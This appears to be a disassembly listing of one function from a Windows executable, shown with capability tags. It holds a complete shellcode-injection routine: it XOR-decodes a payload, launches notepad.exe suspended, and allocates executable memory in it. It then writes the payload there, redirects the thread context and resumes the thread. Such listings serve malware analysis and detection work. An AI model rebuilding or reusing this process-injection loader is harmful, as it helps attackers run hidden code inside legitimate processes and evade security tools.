Function at 0x1400012a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
lea rbp, [rsp - 0x4e0]
sub rsp, 0x5e0
movaps xmmword [rsp + 0x5d0], xmm6
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x4c0], rax
movdqa xmm6, xmmword [0x140003450]
lea r8, [rsp + 0x58]
xor ebx, ebx
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], rbx
call fcn.1400010c0
test eax, eax
jne 0x140001315
lea ecx, [rbx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Error:_Failed_to_get_payload._n
call fcn.140001010
lea eax, [rbx - 1]
jmp 0x1400015d3
mov qword [rsp + 0x5f0], rsi
mov rdx, rbx
mov rsi, qword [rsp + 0x50]
mov qword [rsp + 0x5f8], rdi
mov rdi, qword [rsp + 0x58]
test rdi, rdi
je 0x1400013bd
cmp rdi, 0x40
jb 0x140001399
mov rcx, rdi
lea rax, [rsi + 0x20]
and rcx, 0xffffffffffffffc0
nop dword [rax]
movdqu xmm0, xmmword [rax - 0x20]
lea rax, [rax + 0x40]
add rdx, 0x40
movdqa xmm1, xmm6
pxor xmm1, xmm0
movdqu xmmword [rax - 0x60], xmm1
movdqu xmm0, xmmword [rax - 0x50]
pxor xmm0, xmm6
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm1, xmmword [rax - 0x40]
pxor xmm1, xmm6
movdqu xmmword [rax - 0x40], xmm1
movdqu xmm0, xmmword [rax - 0x30]
pxor xmm0, xmm6
movdqu xmmword [rax - 0x30], xmm0
cmp rdx, rcx
jb 0x140001350
cmp rdx, rdi
jae 0x1400013bd
mov rcx, rdi
lea rax, [rdx + rsi]
sub rcx, rdx
nop dword [rax + rax]
xor byte [rax], 0xaa
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400013b0
xorps xmm0, xmm0
mov dword [rbp - 0x80], 0x68
xor eax, eax
lea rcx, str.C:WindowsSystem32_notepad.exe
mov dword [rbp - 0x1c], eax
xor r9d, r9d
mov qword [rsp + 0x70], rax
xor r8d, r8d
lea rax, [rsp + 0x60]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], ebx
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x14000145b
lea ecx, [rax + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Error:_Failed_to_start_suspended_process._n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 0xffffffff
jmp 0x1400015c3
mov rcx, qword [rsp + 0x60]
mov r9d, 0x1000
mov r8, rdi
mov qword [rsp + 0x600], r14
xor edx, edx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x14000156d
mov rcx, qword [rsp + 0x60]
mov r9, rdi
mov r8, rsi
mov qword [rsp + 0x20], rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000156d
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp - 0x10]
mov dword [rbp + 0x20], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x14000156d
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp - 0x10]
mov qword [rbp + 0xe8], r14
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x14000156d
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
test ebx, ebx
je 0x14000156d
lea rcx, str.Shellcode_injected_successfully._n
call fcn.140001060
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, eax
mov eax, 0x68db8bad
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1388
sub ecx, eax
add ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rcx, str.___Press__Enter__To_Quit_...
call fcn.140001060
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
jmp 0x1400015bb
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Error:_Failed_to_inject_shellcode._n
call fcn.140001010
mov rcx, qword [rsp + 0x60]
mov edx, 1
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 0xffffffff
mov r14, qword [rsp + 0x600]
mov rsi, qword [rsp + 0x5f0]
mov rdi, qword [rsp + 0x5f8]
mov rcx, qword [rbp + 0x4c0]
xor rcx, rsp
call fcn.140001610
mov rbx, qword [rsp + 0x608]
movaps xmm6, xmmword [rsp + 0x5d0]
add rsp, 0x5e0
pop rbp
ret